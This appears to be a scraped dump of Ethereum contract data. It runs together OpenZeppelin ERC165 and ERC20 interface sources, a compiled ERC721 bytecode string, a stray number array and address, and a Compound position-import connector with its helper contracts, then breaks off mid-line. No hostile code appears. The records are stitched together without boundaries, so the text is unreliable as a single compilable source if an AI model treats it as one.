```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x608060405234801561001057600080fd5b50600436106102485760003560e01c806370a082311161013b578063b88d4fde116100b8578063ddca3f431161007c578063ddca3f4314610548578063e985e9c514610551578063eedac3a61461058d578063f2fde38b146105a8578063fccc2813146105bb57600080fd5b8063b88d4fde146104af578063c87b56dd146104c2578063cd8ff657146104d5578063d3356aa9146104e8578063d6ec34e21461050f57600080fd5b806394985ddd116100ff57806394985ddd1461044d57806395d89b4114610460578063a0712d6814610468578063a22cb4651461047b578063b07c3cd31461048e57600080fd5b806370a0823114610410578063715018a6146104235780637fee67a21461042b5780638da5cb5b146104345780638dc654a21461044557600080fd5b80633331a187116101c95780635e619b781161018d5780635e619b78146103ae57806361728f39146103ce5780636352211e146103d75780636b6aabd5146103ea5780636e6bfd20146103fd57600080fd5b80633331a1871461033957806342842e0e1461035957806348cd4cb11461036c5780634ca7f429146103935780634f6ccce71461039b57600080fd5b8063159343c911610210578063159343c9146102e557806318160ddd146102f857806323b872dd1461030a5780632f745c591461031d57806332cb6b0c1461033057600080fd5b806301ffc9a71461024d57806305f6a9241461027557806306fdde03146102a8578063081812fc146102bd578063095ea7b3146102d0575b600080fd5b61026061025b3660046125e0565b6105c4565b60405190151581526020015b60405180910390f35b61029073f0d54349addcf704f77ae15b96510dea15cb795281565b6040516001600160a01b03909116815260200161026c565b6102b06105ef565b60405161026c9190612756565b6102906102cb3660046125a5565b610681565b6102e36102de36600461255e565b61071b565b005b6102e36102f33660046125a5565b610831565b6009545b60405190815260200161026c565b6102e361031836600461246f565b610885565b6102fc61032b36600461255e565b6108b6565b6102fc61271081565b6102fc6103473660046125a5565b60116020526000908152604090205481565b6102e361036736600461246f565b61094c565b6102fc7f0000000000000000000000000000000000000000000000000000000000ca81ad81565b6102b0610967565b6102fc6103a93660046125a5565b6109f5565b6102fc6103bc3660046125a5565b60106020526000908152604090205481565b6102fc600d5481565b6102906103e53660046125a5565b610a88565b6102fc6103f83660046125be565b610aff565b6102fc61040b366004612633565b610b7c565b6102fc61041e36600461241a565b610c9f565b6102e3610d26565b6102fc6101f481565b600b546001600160a01b0316610290565b6102e3610d5c565b6102e361045b3660046125be565b610edf565b6102b0610f7a565b6102e36104763660046125a5565b610f89565b6102e3610489366004612527565b6111ed565b6104a161049c3660046125a5565b6112b2565b60405161026c929190612841565b6102e36104bd3660046124ab565b611357565b6102b06104d03660046125a5565b61138f565b6102e36104e33660046125a5565b6115ab565b6102907f000000000000000000000000058bc8ef040bd3971418e36aa88b64899378ccf481565b6105367f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff909116815260200161026c565b6102fc600e5481565b61026061055f36600461243c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b61029073514910771af9ca656af840dff83e8264ecf986ca81565b6102e36105b636600461241a565b6115da565b61029061dead81565b60006001600160e01b0319821663780e9d6360e01b14806105e957506105e982611672565b92915050565b6060600180546105fe906129d6565b80601f016020809104026020016040519081016040528092919081815260200182805461062a906129d6565b80156106775780601f1061064c57610100808354040283529160200191610677565b820191906000526020600020905b81548152906001019060200180831161065a57829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b03166106ff5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061072682610a88565b9050806001600160a01b0316836001600160a01b031614156107945760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106f6565b336001600160a01b03821614806107b057506107b0813361055f565b6108225760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106f6565b61082c83836116c2565b505050565b600081815260116020526040812080546001929061085090849061285a565b9091555050604051339082907f0b941e2c5ad798ef6390df36c43a856e8dcc6f1a85b03f65abf947927870ae9790600090a350565b61088f3382611730565b6108ab5760405162461bcd60e51b81526004016106f6906127f0565b61082c838383611827565b60006108c183610c9f565b82106109235760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106f6565b506001600160a01b03919091166000908152600760209081526040808320938352929052205490565b61082c83838360405180602001604052806000815250611357565b600c8054610974906129d6565b80601f01602080910402602001604051908101604052809291908181526020018280546109a0906129d6565b80156109ed5780601f106109c2576101008083540402835291602001916109ed565b820191906000526020600020905b8154815290600101906020018083116109d057829003601f168201915b505050505081565b6000610a0060095490565b8210610a635760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106f6565b60098281548110610a7657610a76612a82565b90600052602060002001549050919050565b6000818152600360205260408120546001600160a01b0316806105e95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106f6565b600080610b0e6101f485612872565b90506000610b1e6101f483612974565b905060006001610b306101f48461285a565b610b3a9190612993565b90506000610b4a6101f487612a2c565b90506000610b58828961285a565b905082811115610b7157610b6e6101f482612993565b90505b979650505050505050565b600b546000906001600160a01b03163314610ba95760405162461bcd60e51b81526004016106f6906127bb565b8215610c21576000600f81610bbf600187612993565b81526020019081526020016000206001018054610bdb906129d6565b905011610c215760405162461bcd60e51b8152602060048201526014602482015273141c995d9a5bdd5cc81b1bdd081b9bdd081cd95d60621b60448201526064016106f6565b6000838152600f6020908152604090912083519091610c479160018401918601906122ef565b507f8ff2e72193a24409ffb6d865c0718d121e61a04cc13999622a5018cf5cfb866f8484604051610c79929190612841565b60405180910390a18054610c9857610c90846119d2565b9150506105e9565b5092915050565b60006001600160a01b038216610d0a5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106f6565b506001600160a01b031660009081526004602052604090205490565b600b546001600160a01b03163314610d505760405162461bcd60e51b81526004016106f6906127bb565b610d5a6000611af6565b565b600b546001600160a01b03163314610d865760405162461bcd60e51b81526004016106f6906127bb565b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b031663a9059cbb610dc7600b546001600160a01b031690565b6040516370a0823160e01b81523060048201527f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316906370a082319060240160206040518083038186803b158015610e2657600080fd5b505afa158015610e3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5e919061261a565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610ea457600080fd5b505af1158015610eb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edc9190612588565b50565b336001600160a01b037f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb79521614610f575760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c0060448201526064016106f6565b6000918252601060209081526040808420548452600f90915290912055565b5050565b6060600280546105fe906129d6565b7f0000000000000000000000000000000000000000000000000000000000ca81ad431015610fe75760405162461bcd60e51b815260206004820152600b60248201526a139bdd081cdd185c9d195960aa1b60448201526064016106f6565b600081116110275760405162461bcd60e51b815260206004820152600d60248201526c043616e6e6f74206d696e74203609c1b60448201526064016106f6565b6001600160a01b037f000000000000000000000000058bc8ef040bd3971418e36aa88b64899378ccf4166323b872dd3361dead6110857f0000000000000000000000000000000000000000000000000000000000000012600a6128c9565b61108f9086612974565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401602060405180830381600087803b1580156110de57600080fd5b505af11580156110f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111169190612588565b6111555760405162461bcd60e51b815260206004820152601060248201526f63616e6e6f74206275726e20444f4e4160801b60448201526064016106f6565b600061116060095490565b905060005b82811015611192576111803361117b838561285a565b611b48565b8061118a81612a11565b915050611165565b5061271061119f60095490565b1115610f765760405162461bcd60e51b815260206004820152601960248201527f4d617820737570706c7920616c7265616479206d696e7465640000000000000060448201526064016106f6565b6001600160a01b0382163314156112465760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106f6565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600f60205260009081526040902080546001820180549192916112d4906129d6565b80601f0160208091040260200160405190810160405280929190818152602001828054611300906129d6565b801561134d5780601f106113225761010080835404028352916020019161134d565b820191906000526020600020905b81548152906001019060200180831161133057829003601f168201915b5050505050905082565b6113613383611730565b61137d5760405162461bcd60e51b81526004016106f6906127f0565b61138984848484611b62565b50505050565b6000818152600360205260409020546060906001600160a01b031661140e5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106f6565b600061141c6101f484612872565b6000818152600f602052604081208054600182018054949550919390929190611444906129d6565b80601f0160208091040260200160405190810160405280929190818152602001828054611470906129d6565b80156114bd5780601f10611492576101008083540402835291602001916114bd565b820191906000526020600020905b8154815290600101906020018083116114a057829003601f168201915b5050505050905081600014806114d257508051155b1561156d57600c80546114e4906129d6565b80601f0160208091040260200160405190810160405280929190818152602001828054611510906129d6565b801561155d5780601f106115325761010080835404028352916020019161155d565b820191906000526020600020905b81548152906001019060200180831161154057829003601f168201915b5050505050945050505050919050565b8061158061157b8885610aff565b611b95565b6040516020016115919291906126ba565b604051602081830303815290604052945050505050919050565b600b546001600160a01b031633146115d55760405162461bcd60e51b81526004016106f6906127bb565b600e55565b600b546001600160a01b031633146116045760405162461bcd60e51b81526004016106f6906127bb565b6001600160a01b0381166116695760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f6565b610edc81611af6565b60006001600160e01b031982166380ac58cd60e01b14806116a357506001600160e01b03198216635b5e139f60e01b145b806105e957506301ffc9a760e01b6001600160e01b03198316146105e9565b600081815260056020526040902080546001600160a01b0319166001600160a01b03841690811790915581906116f782610a88565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600360205260408120546001600160a01b03166117a95760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106f6565b60006117b483610a88565b9050806001600160a01b0316846001600160a01b031614806117ef5750836001600160a01b03166117e484610681565b6001600160a01b0316145b8061181f57506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661183a82610a88565b6001600160a01b0316146118a25760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106f6565b6001600160a01b0382166119045760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106f6565b61190f838383611c93565b61191a6000826116c2565b6001600160a01b0383166000908152600460205260408120805460019290611943908490612993565b90915550506001600160a01b038216600090815260046020526040812080546001929061197190849061285a565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600e546040516370a0823160e01b8152306004820152600091906001600160a01b037f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca16906370a082319060240160206040518083038186803b158015611a3857600080fd5b505afa158015611a4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a70919061261a565b1015611ad25760405162461bcd60e51b815260206004820152602b60248201527f4e6f7420656e6f756768204c494e4b202d2066696c6c20636f6e74726163742060448201526a1dda5d1a0819985d58d95d60aa1b60648201526084016106f6565b611ae0600d54600e54611d4b565b6000818152601060205260409020929092555090565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610f76828260405180602001604052806000815250611ed1565b611b6d848484611827565b611b7984848484611f04565b6113895760405162461bcd60e51b81526004016106f690612769565b606081611bb95750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611be35780611bcd81612a11565b9150611bdc9050600a83612872565b9150611bbd565b60008167ffffffffffffffff811115611bfe57611bfe612a98565b6040519080825280601f01601f191660200182016040528015611c28576020820181803683370190505b5090505b841561181f57611c3d600183612993565b9150611c4a600a86612a2c565b611c5590603061285a565b60f81b818381518110611c6a57611c6a612a82565b60200101906001600160f81b031916908160001a905350611c8c600a86612872565b9450611c2c565b6001600160a01b038316611cee57611ce981600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0155565b611d11565b816001600160a01b0316836001600160a01b031614611d1157611d118382612011565b6001600160a01b038216611d285761082c816120ae565b826001600160a01b0316826001600160a01b03161461082c5761082c828261215d565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795284866000604051602001611dbb929190918252602082015260400190565b6040516020818303038152906040526040518463ffffffff1660e01b8152600401611de893929190612726565b602060405180830381600087803b158015611e0257600080fd5b505af1158015611e16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3a9190612588565b5060008381526020818152604080832054815180840188905280830185905230606082015260808082018390528351808303909101815260a090910190925281519183019190912086845292909152611e9490600161285a565b600085815260208181526040918290209290925580518083018790528082018490528151808203830181526060909101909152805191012061181f565b611edb83836121a1565b611ee86000848484611f04565b61082c5760405162461bcd60e51b81526004016106f690612769565b60006001600160a01b0384163b1561200657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611f489033908990889088906004016126e9565b602060405180830381600087803b158015611f6257600080fd5b505af1925050508015611f92575060408051601f3d908101601f19168201909252611f8f918101906125fd565b60015b611fec573d808015611fc0576040519150601f19603f3d011682016040523d82523d6000602084013e611fc5565b606091505b508051611fe45760405162461bcd60e51b81526004016106f690612769565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061181f565b506001949350505050565b6000600161201e84610c9f565b6120289190612993565b60008381526008602052604090205490915080821461207b576001600160a01b03841660009081526007602090815260408083208584528252808320548484528184208190558352600890915290208190555b5060009182526008602090815260408084208490556001600160a01b039094168352600781528383209183525290812055565b6009546000906120c090600190612993565b6000838152600a6020526040812054600980549394509092849081106120e8576120e8612a82565b90600052602060002001549050806009838154811061210957612109612a82565b6000918252602080832090910192909255828152600a9091526040808220849055858252812055600980548061214157612141612a6c565b6001900381819060005260206000200160009055905550505050565b600061216883610c9f565b6001600160a01b039093166000908152600760209081526040808320868452825280832085905593825260089052919091209190915550565b6001600160a01b0382166121f75760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106f6565b6000818152600360205260409020546001600160a01b03161561225c5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106f6565b61226860008383611c93565b6001600160a01b038216600090815260046020526040812080546001929061229190849061285a565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546122fb906129d6565b90600052602060002090601f01602090048101928261231d5760008555612363565b82601f1061233657805160ff1916838001178555612363565b82800160010185558215612363579182015b82811115612363578251825591602001919060010190612348565b5061236f929150612373565b5090565b5b8082111561236f5760008155600101612374565b600067ffffffffffffffff808411156123a3576123a3612a98565b604051601f8501601f19908116603f011681019082821181831017156123cb576123cb612a98565b816040528093508581528686860111156123e457600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461241557600080fd5b919050565b60006020828403121561242c57600080fd5b612435826123fe565b9392505050565b6000806040838503121561244f57600080fd5b612458836123fe565b9150612466602084016123fe565b90509250929050565b60008060006060848603121561248457600080fd5b61248d846123fe565b925061249b602085016123fe565b9150604084013590509250925092565b600080600080608085870312156124c157600080fd5b6124ca856123fe565b93506124d8602086016123fe565b925060408501359150606085013567ffffffffffffffff8111156124fb57600080fd5b8501601f8101871361250c57600080fd5b61251b87823560208401612388565b91505092959194509250565b6000806040838503121561253a57600080fd5b612543836123fe565b9150602083013561255381612aae565b809150509250929050565b6000806040838503121561257157600080fd5b61257a836123fe565b946020939093013593505050565b60006020828403121561259a57600080fd5b815161243581612aae565b6000602082840312156125b757600080fd5b5035919050565b600080604083850312156125d157600080fd5b50508035926020909101359150565b6000602082840312156125f257600080fd5b813561243581612abc565b60006020828403121561260f57600080fd5b815161243581612abc565b60006020828403121561262c57600080fd5b5051919050565b6000806040838503121561264657600080fd5b82359150602083013567ffffffffffffffff81111561266457600080fd5b8301601f8101851361267557600080fd5b61268485823560208401612388565b9150509250929050565b600081518084526126a68160208601602086016129aa565b601f01601f19169290920160200192915050565b600083516126cc8184602088016129aa565b8351908301906126e08183602088016129aa565b01949350505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061271c9083018461268e565b9695505050505050565b60018060a01b038416815282602082015260606040820152600061274d606083018461268e565b95945050505050565b602081526000612435602083018461268e565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b82815260406020820152600061181f604083018461268e565b6000821982111561286d5761286d612a40565b500190565b60008261288157612881612a56565b500490565b600181815b808511156128c15781600019048211156128a7576128a7612a40565b808516156128b457918102915b93841c939080029061288b565b509250929050565b600061243560ff8416836000826128e2575060016105e9565b816128ef575060006105e9565b8160018114612905576002811461290f5761292b565b60019150506105e9565b60ff84111561292057612920612a40565b50506001821b6105e9565b5060208310610133831016604e8410600b841016171561294e575081810a6105e9565b6129588383612886565b806000190482111561296c5761296c612a40565b029392505050565b600081600019048311821515161561298e5761298e612a40565b500290565b6000828210156129a5576129a5612a40565b500390565b60005b838110156129c55781810151838201526020016129ad565b838111156113895750506000910152565b600181811c908216806129ea57607f821691505b60208210811415612a0b57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612a2557612a25612a40565b5060010190565b600082612a3b57612a3b612a56565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114610edc57600080fd5b6001600160e01b031981168114610edc57600080fdfea2646970667358221220c221fe47b3724d42b7a06403ea60eb5b6d23ef652d8c096860367b9eb75ea82d64736f6c63430008070033
[ 16, 4, 5 ]
0xf2113d0c99f36d7d6f6c6faf05e0863892255999
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import { TokenInterface, AccountInterface } from "../common/interfaces.sol"; import { CTokenInterface } from "./interfaces.sol"; import { Helpers } from "./helpers.sol"; import { Events } from "./events.sol"; contract CompoundResolver is Helpers, Events { function _borrow(CTokenInterface[] memory ctokenContracts, uint[] memory amts, uint _length) internal { for (uint i = 0; i < _length; i++) { if (amts[i] > 0) { require(ctokenContracts[i].borrow(amts[i]) == 0, "borrow-failed-collateral?"); } } } function _paybackOnBehalf( address userAddress, CTokenInterface[] memory ctokenContracts, uint[] memory amts, uint _length ) internal { for (uint i = 0; i < _length; i++) { if (amts[i] > 0) { if (address(ctokenContracts[i]) == address(ceth)) { ceth.repayBorrowBehalf{value: amts[i]}(userAddress); } else { require(ctokenContracts[i].repayBorrowBehalf(userAddress, amts[i]) == 0, "repayOnBehalf-failed"); } } } } function _transferCtokens( address userAccount, CTokenInterface[] memory ctokenContracts, uint[] memory amts, uint _length ) internal { for (uint i = 0; i < _length; i++) { if (amts[i] > 0) { require(ctokenContracts[i].transferFrom(userAccount, address(this), amts[i]), "ctoken-transfer-failed-allowance?"); } } } } contract CompoundImportResolver is CompoundResolver { struct ImportData { uint[] supplyAmts; uint[] borrowAmts; address[] ctokens; CTokenInterface[] supplyCtokens; CTokenInterface[] borrowCtokens; } function importCompound( address userAccount, string[] calldata supplyIds, string[] calldata borrowIds ) external payable returns (string memory _eventName, bytes memory _eventParam) { require(AccountInterface(address(this)).isAuth(userAccount), "user-account-not-auth"); require(supplyIds.length > 0, "0-length-not-allowed"); ImportData memory data; uint _length = add(supplyIds.length, borrowIds.length); data.ctokens = new address[](_length); data.supplyAmts = new uint[](supplyIds.length); data.supplyCtokens = new CTokenInterface[](supplyIds.length); if (borrowIds.length > 0) { data.borrowAmts = new uint[](borrowIds.length); data.borrowCtokens = new CTokenInterface[](borrowIds.length); for (uint i = 0; i < borrowIds.length; i++) { (address _token, address _ctoken) = compMapping.getMapping(borrowIds[i]); require(_token != address(0) && _ctoken != address(0), "ctoken mapping not found"); data.ctokens[i] = _ctoken; data.borrowCtokens[i] = CTokenInterface(_ctoken); data.borrowAmts[i] = data.borrowCtokens[i].borrowBalanceCurrent(userAccount); if (_token != ethAddr && data.borrowAmts[i] > 0) { TokenInterface(_token).approve(_ctoken, data.borrowAmts[i]); } } } for (uint i = 0; i < supplyIds.length; i++) { (address _token, address _ctoken) = compMapping.getMapping(supplyIds[i]); require(_token != address(0) && _ctoken != address(0), "ctoken mapping not found"); uint index = add(i, borrowIds.length); data.ctokens[index] = _ctoken; data.supplyCtokens[i] = CTokenInterface(_ctoken); data.supplyAmts[i] = data.supplyCtokens[i].balanceOf(userAccount); } enterMarkets(data.ctokens); _borrow(data.borrowCtokens, data.borrowAmts, borrowIds.length); _paybackOnBehalf(userAccount, data.borrowCtokens, data.borrowAmts, borrowIds.length); _transferCtokens(userAccount, data.supplyCtokens, data.supplyAmts, supplyIds.length); _eventName = "LogCompoundImport(address,address[],string[],string[],uint256[],uint256[])"; _eventParam = abi.encode(userAccount, data.ctokens, supplyIds, borrowIds, data.supplyAmts, data.borrowAmts); } } contract ConnectV2CompoundImport is CompoundImportResolver { string public constant name = "V2-Compound-Import-v1"; } pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; interface TokenInterface { function approve(address, uint256) external; function transfer(address, uint) external; function transferFrom(address, address, uint) external; function deposit() external payable; function withdraw(uint) external; function balanceOf(address) external view returns (uint); function decimals() external view returns (uint); } interface MemoryInterface { function getUint(uint id) external returns (uint num); function setUint(uint id, uint val) external; } interface InstaMapping { function cTokenMapping(address) external view returns (address); function gemJoinMapping(bytes32) external view returns (address); } interface AccountInterface { function enable(address) external; function disable(address) external; function isAuth(address) external view returns (bool); function cast( string[] calldata _targets, bytes[] calldata _datas, address _origin ) external payable returns (bytes32); } pragma solidity ^0.7.0; interface TokenInterface { function balanceOf(address) external view returns (uint); function allowance(address, address) external view returns (uint); function approve(address, uint) external; function transfer(address, uint) external returns (bool); function transferFrom(address, address, uint) external returns (bool); } interface CTokenInterface { function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); // For ERC20 function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function exchangeRateCurrent() external returns (uint); function balanceOf(address owner) external view returns (uint256 balance); function transferFrom(address, address, uint) external returns (bool); } interface CETHInterface { function mint() external payable; function repayBorrow() external payable; function repayBorrowBehalf(address borrower) external payable; function liquidateBorrow(address borrower, address cTokenCollateral) external payable; } interface ComptrollerInterface { function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cTokenAddress) external returns (uint); function getAssetsIn(address account) external view returns (address[] memory); function getAccountLiquidity(address account) external view returns (uint, uint, uint); } interface CompoundMappingInterface { function cTokenMapping(string calldata tokenId) external view returns (address); function getMapping(string calldata tokenId) external view returns (address, address); } pragma solidity ^0.7.0; import { DSMath } from "../common/math.sol"; import { Stores } from "../common/stores.sol"; import { ComptrollerInterface, CETHInterface, CompoundMappingInterface } from "./interfaces.sol"; abstract contract Helpers is DSMath, Stores { /** * @dev CETH Interface */ CETHInterface constant internal ceth = CETHInterface(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5); /** * @dev Compound Comptroller */ ComptrollerInterface constant internal troller = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); /** * @dev Compound Mapping */ CompoundMappingInterface internal constant compMapping = CompoundMappingInterface(0xA8F9D4aA7319C54C04404765117ddBf9448E2082); // Update the address /** * @dev enter compound market */ function enterMarkets(address[] memory cErc20) internal { troller.enterMarkets(cErc20); } } pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; contract Events { event LogCompoundImport( address indexed user, address[] ctokens, string[] supplyIds, string[] borrowIds, uint[] supplyAmts, uint[] borrowAmts ); } pragma solidity ^0.7.0; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; contract DSMath { uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function add(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(x, y); } function sub(uint x, uint y) internal virtual pure returns (uint z) { z = SafeMath.sub(x, y); } function mul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.mul(x, y); } function div(uint x, uint y) internal pure returns (uint z) { z = SafeMath.div(x, y); } function wmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y; } function rmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY; } function toInt(uint x) internal pure returns (int y) { y = int(x); require(y >= 0, "int-overflow"); } function toRad(uint wad) internal pure returns (uint rad) { rad = mul(wad, 10 ** 27); } } pragma solidity 